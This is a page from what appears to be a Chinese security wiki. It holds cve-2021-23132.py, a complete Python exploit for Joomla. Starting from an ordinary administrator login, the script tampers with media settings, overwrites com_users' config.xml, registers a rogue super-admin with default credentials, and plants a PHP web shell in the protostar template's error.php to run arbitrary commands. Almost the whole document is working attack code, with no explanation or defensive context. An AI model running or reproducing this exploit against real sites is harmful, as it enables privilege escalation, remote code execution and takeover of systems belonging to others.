menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right All_wiki chevron_right Middleware-Vulnerability-detection-master chevron_right Joomla chevron_right CVE-2021-23132 Joomla 普通管理员RCE chevron_right cve-2021-23132.py
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    cve-2021-23132.py
    17.93 KB / 2021-07-18 01:45:49
        #!/usr/bin/python3
    import sys
    import requests
    import re
    import argparse
    
    #proxies = {"http": "http://127.0.0.1:8080","https": "http://127.0.0.1:8080"} 
    proxies={}
    try:
        import lxml.html
    except ImportError:
        print("module 'lxml' doesn't exist, type: pip3 install lxml")
        exit(0)
    
    def writeConfigFile(filename):
        print("[+] Creating config.xml ")
        content="""<?xml version="1.0" encoding="utf-8"?>
    <config>
    	<fieldset 
    		name="user_options"
    		label="COM_USERS_CONFIG_USER_OPTIONS" >
    		<field
    			name="allowUserRegistration"
    			type="radio"
    			label="COM_USERS_CONFIG_FIELD_ALLOWREGISTRATION_LABEL"
    			description="COM_USERS_CONFIG_FIELD_ALLOWREGISTRATION_DESC"
    			class="btn-group btn-group-yesno"
    			default="1"
    			>
    			<option value="1">JYES</option>
    			<option value="0">JNO</option>
    		</field>
    
    		<field
    			name="new_usertype"
    			type="usergrouplist"
    			label="COM_USERS_CONFIG_FIELD_NEW_USER_TYPE_LABEL"
    			description="COM_USERS_CONFIG_FIELD_NEW_USER_TYPE_DESC"
    			default="2"
    			checksuperusergroup="0"
    		/>
    
    		<field
    			name="guest_usergroup"
    			type="usergrouplist"
    			label="COM_USERS_CONFIG_FIELD_GUEST_USER_GROUP_LABEL"
    			description="COM_USERS_CONFIG_FIELD_GUEST_USER_GROUP_DESC"
    			default="1"
    			checksuperusergroup="0"
    		/>
    
    		<field
    			name="sendpassword"
    			type="radio"
    			label="COM_USERS_CONFIG_FIELD_SENDPASSWORD_LABEL"
    			description="COM_USERS_CONFIG_FIELD_SENDPASSWORD_DESC"
    			class="btn-group btn-group-yesno"
    			default="1"
    			>
    			<option value="1">JYES</option>
    			<option value="0">JNO</option>
    		</field>
    
    		<field
    			name="useractivation"
    			type="list"
    			label="COM_USERS_CONFIG_FIELD_USERACTIVATION_LABEL"
    			description="COM_USERS_CONFIG_FIELD_USERACTIVATION_DESC"
    			default="0"
    			>
    			<option value="0">JNONE</option>
    			<option value="1">COM_USERS_CONFIG_FIELD_USERACTIVATION_OPTION_SELFACTIVATION</option>
    			<option value="2">COM_USERS_CONFIG_FIELD_USERACTIVATION_OPTION_ADMINACTIVATION</option>
    		</field>
    
    		<field
    			name="mail_to_admin"
    			type="radio"
    			label="COM_USERS_CONFIG_FIELD_MAILTOADMIN_LABEL"
    			description="COM_USERS_CONFIG_FIELD_MAILTOADMIN_DESC"
    			class="btn-group btn-group-yesno"
    			default="0"
    			>
    			<option value="1">JYES</option>
    			<option value="0">JNO</option>
    		</field>
    
    		<field
    			name="captcha"
    			type="plugins"
    			label="COM_USERS_CONFIG_FIELD_CAPTCHA_LABEL"
    			description="COM_USERS_CONFIG_FIELD_CAPTCHA_DESC"
    			folder="captcha"
    			filter="cmd"
    			useglobal="true"
    			>
    			<option value="0">JOPTION_DO_NOT_USE</option>
    		</field>
    
    		<field
    			name="frontend_userparams"
    			type="radio"
    			label="COM_USERS_CONFIG_FIELD_FRONTEND_USERPARAMS_LABEL"
    			description="COM_USERS_CONFIG_FIELD_FRONTEND_USERPARAMS_DESC"
    			class="btn-group btn-group-yesno"
    			default="1"
    			>
    			<option value="1">JSHOW</option>
    			<option value="0">JHIDE</option>
    		</field>
    
    		<field
    			name="site_language"
    			type="radio"
    			label="COM_USERS_CONFIG_FIELD_FRONTEND_LANG_LABEL"
    			description="COM_USERS_CONFIG_FIELD_FRONTEND_LANG_DESC"
    			class="btn-group btn-group-yesno"
    			default="0"
    			showon="frontend_userparams:1"
    			>
    			<option value="1">JSHOW</option>
    			<option value="0">JHIDE</option>
    		</field>
    
    		<field
    			name="change_login_name"
    			type="radio"
    			label="COM_USERS_CONFIG_FIELD_CHANGEUSERNAME_LABEL"
    			description="COM_USERS_CONFIG_FIELD_CHANGEUSERNAME_DESC"
    			class="btn-group btn-group-yesno"
    			default="0"
    			>
    			<option value="1">JYES</option>
    			<option value="0">JNO</option>
    		</field>
    
    	</fieldset>
    
    	<fieldset
    		name="domain_options"
    		label="COM_USERS_CONFIG_DOMAIN_OPTIONS"
    		>
    
    		<field
    			name="domains"
    			type="subform"
    			label="COM_USERS_CONFIG_FIELD_DOMAINS_LABEL"
    			description="COM_USERS_CONFIG_FIELD_DOMAINS_DESC"
    			multiple="true"
    			layout="joomla.form.field.subform.repeatable-table"
    			formsource="administrator/components/com_users/models/forms/config_domain.xml"
    		/>
    	</fieldset>
    
    	<fieldset
    		name="password_options"
    		label="COM_USERS_CONFIG_PASSWORD_OPTIONS" >
    		<field
    			name="reset_count"
    			type="integer"
    			label="COM_USERS_CONFIG_FIELD_FRONTEND_RESET_COUNT_LABEL"
    			description="COM_USERS_CONFIG_FIELD_FRONTEND_RESET_COUNT_DESC"
    			first="0"
    			last="20"
    			step="1"
    			default="10"
    		/>
    
    		<field
    			name="reset_time"
    			type="integer"
    			label="COM_USERS_CONFIG_FIELD_FRONTEND_RESET_TIME_LABEL"
    			description="COM_USERS_CONFIG_FIELD_FRONTEND_RESET_TIME_DESC"
    			first="1"
    			last="24"
    			step="1"
    			default="1"
    		/>
    
    		<field
    			name="minimum_length"
    			type="integer"
    			label="COM_USERS_CONFIG_FIELD_MINIMUM_PASSWORD_LENGTH"
    			description="COM_USERS_CONFIG_FIELD_MINIMUM_PASSWORD_LENGTH_DESC"
    			first="4"
    			last="99"
    			step="1"
    			default="4"
    		/>
    
    		<field
    			name="minimum_integers"
    			type="integer"
    			label="COM_USERS_CONFIG_FIELD_MINIMUM_INTEGERS"
    			description="COM_USERS_CONFIG_FIELD_MINIMUM_INTEGERS_DESC"
    			first="0"
    			last="98"
    			step="1"
    			default="0"
    		/>
    
    		<field
    			name="minimum_symbols"
    			type="integer"
    			label="COM_USERS_CONFIG_FIELD_MINIMUM_SYMBOLS"
    			description="COM_USERS_CONFIG_FIELD_MINIMUM_SYMBOLS_DESC"
    			first="0"
    			last="98"
    			step="1"
    			default="0"
    		/>
    
    		<field
    			name="minimum_uppercase"
    			type="integer"
    			label="COM_USERS_CONFIG_FIELD_MINIMUM_UPPERCASE"
    			description="COM_USERS_CONFIG_FIELD_MINIMUM_UPPERCASE_DESC"
    			first="0"
    			last="98"
    			step="1"
    			default="0"
    		/>
    
    		<field
    			name="minimum_lowercase"
    			type="integer"
    			label="COM_USERS_CONFIG_FIELD_MINIMUM_LOWERCASE"
    			description="COM_USERS_CONFIG_FIELD_MINIMUM_LOWERCASE_DESC"
    			first="0"
    			last="98"
    			step="1"
    			default="0"
    		/>
    
    	</fieldset>
    
    	<fieldset
    		name="user_notes_history"
    		label="COM_USERS_CONFIG_FIELD_NOTES_HISTORY" >
    
    		<field
    			name="save_history"
    			type="radio"
    			label="JGLOBAL_SAVE_HISTORY_OPTIONS_LABEL"
    			description="JGLOBAL_SAVE_HISTORY_OPTIONS_DESC"
    			class="btn-group btn-group-yesno"
    			default="0"
    			>
    			<option value="1">JYES</option>
    			<option value="0">JNO</option>
    		</field>
    
    		<field
    			name="history_limit"
    			type="number"
    			label="JGLOBAL_HISTORY_LIMIT_OPTIONS_LABEL"
    			description="JGLOBAL_HISTORY_LIMIT_OPTIONS_DESC"
    			filter="integer"
    			default="5"
    			showon="save_history:1"
    		/>
    
    	</fieldset>
    
     	<fieldset
    		name="massmail"
    		label="COM_USERS_MASS_MAIL"
    		description="COM_USERS_MASS_MAIL_DESC">
    
    		<field
     			name="mailSubjectPrefix"
     			type="text"
    			label="COM_USERS_CONFIG_FIELD_SUBJECT_PREFIX_LABEL"
    			description="COM_USERS_CONFIG_FIELD_SUBJECT_PREFIX_DESC"
    		/>
    
     		<field
     			name="mailBodySuffix"
    			type="textarea"
    			label="COM_USERS_CONFIG_FIELD_MAILBODY_SUFFIX_LABEL"
    			description="COM_USERS_CONFIG_FIELD_MAILBODY_SUFFIX_DESC"
     			rows="5"
     			cols="30"
    		/>
    
    	</fieldset>
    
    	<fieldset
    		name="debug"
    		label="COM_USERS_DEBUG_LABEL"
    		description="COM_USERS_DEBUG_DESC">
    
    		<field
    			name="debugUsers"
    			type="radio"
    			label="COM_USERS_DEBUG_USERS_LABEL"
    			description="COM_USERS_DEBUG_USERS_DESC"
    			class="btn-group btn-group-yesno"
    			default="1"
    			>
    			<option value="1">JYES</option>
    			<option value="0">JNO</option>
    		</field>
    
    		<field
    			name="debugGroups"
    			type="radio"
    			label="COM_USERS_DEBUG_GROUPS_LABEL"
    			description="COM_USERS_DEBUG_GROUPS_DESC"
    			class="btn-group btn-group-yesno"
    			default="1"
    			>
    			<option value="1">JYES</option>
    			<option value="0">JNO</option>
    		</field>
    
    	</fieldset>
    
    	<fieldset name="integration"
    		label="JGLOBAL_INTEGRATION_LABEL"
    		description="COM_USERS_CONFIG_INTEGRATION_SETTINGS_DESC"
    	>
    
    		<field
    			name="integration_sef"
    			type="note"
    			label="JGLOBAL_SEF_TITLE"
    		/>
    
    		<field
    			name="sef_advanced"
    			type="radio"
    			class="btn-group btn-group-yesno btn-group-reversed"
    			default="0"
    			label="JGLOBAL_SEF_ADVANCED_LABEL"
    			description="JGLOBAL_SEF_ADVANCED_DESC"
    			filter="integer"
    			>
    			<option value="0">JGLOBAL_SEF_ADVANCED_LEGACY</option>
    			<option value="1">JGLOBAL_SEF_ADVANCED_MODERN</option>
    		</field>
    
    		<field
    			name="integration_customfields"
    			type="note"
    			label="JGLOBAL_FIELDS_TITLE"
    		/>
    
    		<field
    			name="custom_fields_enable"
    			type="radio"
    			label="JGLOBAL_CUSTOM_FIELDS_ENABLE_LABEL"
    			description="JGLOBAL_CUSTOM_FIELDS_ENABLE_DESC"
    			class="btn-group btn-group-yesno"
    			default="1"
    			>
    			<option value="1">JYES</option>
    			<option value="0">JNO</option>
    		</field>
    
    	</fieldset>
    
    	<fieldset
    		name="permissions"
    		label="JCONFIG_PERMISSIONS_LABEL"
    		description="JCONFIG_PERMISSIONS_DESC"
    		>
    
    		<field
    			name="rules"
    			type="rules"
    			label="JCONFIG_PERMISSIONS_LABEL"
    			filter="rules"
    			validate="rules"
    			component="com_users"
    			section="component"
    		/>
    
    	</fieldset>
    </config>
    """
        f = open(filename, "w")
        f.write(content)
        f.close
    
    def extract_token(resp):
        match = re.search(r'name="([a-f0-9]{32})" value="1"', resp.text, re.S)
        if match is None:
            print("[-] Cannot find CSRF token!\n")
            return None
        return match.group(1)
    
    
    def try_admin_login(sess, url, uname, upass):
        admin_url = url + '/administrator/index.php'
        print('[+] Getting token for Manager login')
        resp = sess.get(admin_url, verify=True)
        token = extract_token(resp)
        if not token:
            return False
        print('[+] Logging in to Admin')
        data = {
            'username': uname,
            'passwd': upass,
            'task': 'login',
            token: '1'
        }
        resp = sess.post(admin_url, data=data, verify=True)
        if 'task=profile.edit' not in resp.text:
            print('[!] Admin Login Failure!')
            return None
        print('[+] Admin Login Successfully!')
        return True
    
    
    def check_admin(sess, url):
        url_check = url + '/administrator/index.php?option=com_config&view=component&component=com_media&path='
        resp = sess.get(url_check, verify=True)
        token = extract_token(resp)
        if not token:
            print ("[-] You are not admin account!")
            sys.exit()
        return token
    
    
    def set_media_options(url, sess, dir, token):
        print("[+] Setting media options")
        newdata = {
            'jform[upload_extensions]': 'xml,bmp,csv,doc,gif,ico,jpg,jpeg,odg,odp,ods,odt,pdf,png,ppt,swf,txt,xcf,xls,BMP,CSV,DOC,GIF,ICO,JPG,JPEG,ODG,ODP,ODS,ODT,PDF,PNG,PPT,SWF,TXT,XCF,XLS',
            'jform[upload_maxsize]': 10,
            'jform[file_path]': dir,
            'jform[image_path]': dir,
            'jform[restrict_uploads]': 0,
            'jform[check_mime]': 0,
            'jform[image_extensions]': 'bmp,gif,jpg,png',
            'jform[ignore_extensions]': '',
            'jform[upload_mime]': 'image/jpeg,image/gif,image/png,image/bmp,application/x-shockwave-flash,application/msword,application/excel,application/pdf,application/powerpoint,text/plain,application/x-zip',
            'jform[upload_mime_illegal]': 'text/html',
            'id': 13,
            'component': 'com_media',
            'task': 'config.save.component.apply',
            token: 1
        }
        newdata['task'] = 'config.save.component.apply'
        config_url = url + '/administrator/index.php?option=com_config'
        resp = sess.post(config_url, data=newdata, verify=True)
        if 'jform[upload_extensions]' not in resp.text:
            print('[!] Maybe failed to set media options...')
            return False
        return True
    
    
    def traversal(sess, url):
        shell_url = url + '/administrator/index.php?option=com_media&view=mediaList&tmpl=component&folder='
        resp = sess.get(shell_url, verify=True)
        page = resp.text.encode('utf-8')
        html = lxml.html.fromstring(page)
        files = html.xpath("//input[@name='rm[]']/@value")
        for file in files:
            print (file)
        pass
    
    
    def removeFile(sess, url, filename, token):
        remove_path = url + '/administrator/index.php?option=com_media&task=file.delete&tmpl=index&' + token + '=1&folder=&rm[]=' + filename
        msg = sess.get(remove_path, verify=True,proxies=proxies)
        page = msg.text.encode('utf-8')
        html = lxml.html.fromstring(page)
        file_remove = html.xpath("//div[@class='alert-message']/text()[1]")
        print ('\n' + '[Result]: ' + file_remove[-1])
    
    
    def upload_file(sess, url, file, token):
        print("[+] Uploading config.xml")
        filename = "config.xml"
        url = url + '/administrator/index.php?option=com_media&task=file.upload&tmpl=component&' + token + '=1&format=html&folder='
        files = {
            'Filedata[]': (filename, file, 'text/xml')
        }
        data = dict(folder="")
        resp = sess.post(url, files=files, data=data, verify=True,proxies=proxies)
        if filename not in resp.text:
            print("[!] Failed to upload file!")
            return False
        print("[+] Exploit Successfully!")
        return True
    
    
    def set_users_option(sess, url, token):
        newdata = {
            'jform[allowUserRegistration]': 1,
            'jform[new_usertype]': 8,
            'jform[guest_usergroup]': 8,
            'jform[sendpassword] ': 0,
            'jform[useractivation]': 0,
            'jform[mail_to_admin]': 0,
            'id': 25,
            'component': 'com_users',
            'task': 'config.save.component.apply',
            token: 1
        }
        newdata['task'] = 'config.save.component.apply'
        config_url = url + '/administrator/index.php?option=com_config'
        resp = sess.post(config_url, data=newdata, verify=True)
        if 'Configuration saved.' not in resp.text:
            print('[!] Could not save data. Error: Save not permitted.')
            return False
        return True
    
    
    def create_superuser(sess, url, username, password, email):
        resp = sess.get(url + "/index.php?option=com_users&view=registration", verify=True)
        token = extract_token(resp)
        data = {
            # Form data
            'jform[name]': username,
            'jform[username]': username,
            'jform[password1]': password,
            'jform[password2]': password,
            'jform[email1]': email,
            'jform[email2]': email,
            'jform[option]': 'com_users',
            'jform[task]': 'registration.register',
            token: '1',
        }
        url_post = "/index.php/component/users/?task=registration.register&Itemid=101"
        sess.post(url + url_post, data=data, verify=True)
        sess.get(url + "/administrator/index.php?option=com_login&task=logout&" + token + "=1", verify=True)
        newsess = requests.Session()
        if try_admin_login(newsess, url, username, password):
            print ("[+] Now, you are super-admin!!!!!!!!!!!!!!!!" + "\n[+] Your super-admin account: \n[+] USERNAME: " + username + "\n[+] PASSWORD: " + password)
            return newsess
        else:
            print ("[-] Sorry,exploit fail!")
        return None
    
    
    def setOption(url, sess, usuper, psuper, esuper, token):
        print ("Superadmin Creation:")
        #  folder contains config.xml
        dir = './administrator/components/com_users'
        filename = 'config.xml'
        set_media_options(url, sess, dir, token)
        traversal(sess, url)
        removeFile(sess, url, filename, token)
        f = open("config.xml", "rb")
        upload_file(sess, url, f, token)
        set_users_option(sess, url, token)
    
    def rce(sess, url, cmd, token):
        filename = 'error.php'
        shlink = url + '/administrator/index.php?option=com_templates&view=template&id=506&file=506&file=L2Vycm9yLnBocA%3D%3D'
        shdata_up = {
            'jform[source]': "<?php echo 'Hacked by HK\n' ;system($_GET['cmd']); ?>",
            'task': 'template.apply',
            token: '1',
            'jform[extension_id]': '506',
            'jform[filename]': '/' + filename
        }
        sess.post(shlink, data=shdata_up,proxies=proxies)
        path2shell = '/templates/protostar/error.php?cmd=' + cmd
        # print '[+] Shell is ready to use: ' + str(path2shell)
        print ('[+] Checking:')
        shreq = sess.get(url + path2shell,proxies=proxies)
        shresp = shreq.text
        print (shresp + '[+] Shell link: \n' + (url + path2shell))
        print ('[+] Module finished.')
    
    
    def main():
        # Construct the argument parser
        ap = argparse.ArgumentParser()
        # Add the arguments to the parser
        ap.add_argument("-url", "--url", required=True,
                        help=" URL for your Joomla target")
        ap.add_argument("-u", "--username", required=True,
                        help="username")
        ap.add_argument("-p", "--password", required=True,
                        help="password")
        ap.add_argument("-dir", "--directory", required=False, default='./',
                        help="directory")
        ap.add_argument("-rm", "--remove", required=False,
                        help="filename")
        ap.add_argument("-rce", "--rce", required=False, default="0",
                        help="RCE's mode is 1 to turn on")
        ap.add_argument("-cmd", "--command", default="whoami",
                        help="command")
        ap.add_argument("-usuper", "--usernamesuper", default="hk",
                        help="Super's username")
        ap.add_argument("-psuper", "--passwordsuper", default="12345678",
                        help="Super's password")
        ap.add_argument("-esuper", "--emailsuper", default="[email protected]",
                        help="Super's Email")
        args = vars(ap.parse_args())
        # target
        url = format(str(args['url']))
        print ('[+] Your target: ' + url)
        # username
        uname = format(str(args['username']))
        # password
        upass = format(str(args['password']))
        # directory
        dir = format(str(args['directory']))
        # init
        sess = requests.Session()
        # admin login
        if (try_admin_login(sess, url, uname, upass) == None): sys.exit()
        # get token
        token = check_admin(sess, url)
        # set options
        set_media_options(url, sess, dir, token)
        print ("Directory mode:")
        traversal(sess, url)
        if ap.parse_args().remove:
            print ("\nRemove file mode: ")
            filename = format(str(args['remove']))
            removeFile(sess, url, filename, token)
        # check option superadmin creation
        # username of superadmin
        usuper = format(str(args['usernamesuper']))
        # password of superadmin
        psuper = format(str(args['passwordsuper']))
        # email of superadmin
        esuper = format(str(args['emailsuper']))
        # RCE mode
        if (format(str(args['rce'])) == "1"):
            print ("\nRCE mode:\n")
            # command
            filename="config.xml"
            writeConfigFile(filename)
            command = format(str(args['command']))
            setOption(url, sess, usuper, psuper, esuper, token)
             # superadmin creation
            newsess = create_superuser(sess, url, usuper, psuper, esuper)
            if newsess != None :
                # get token
                newtoken = check_admin(newsess, url)
                rce(newsess, url, command, newtoken)
    
    if __name__ == "__main__":
        sys.exit(main())
    
    
    links
    file_download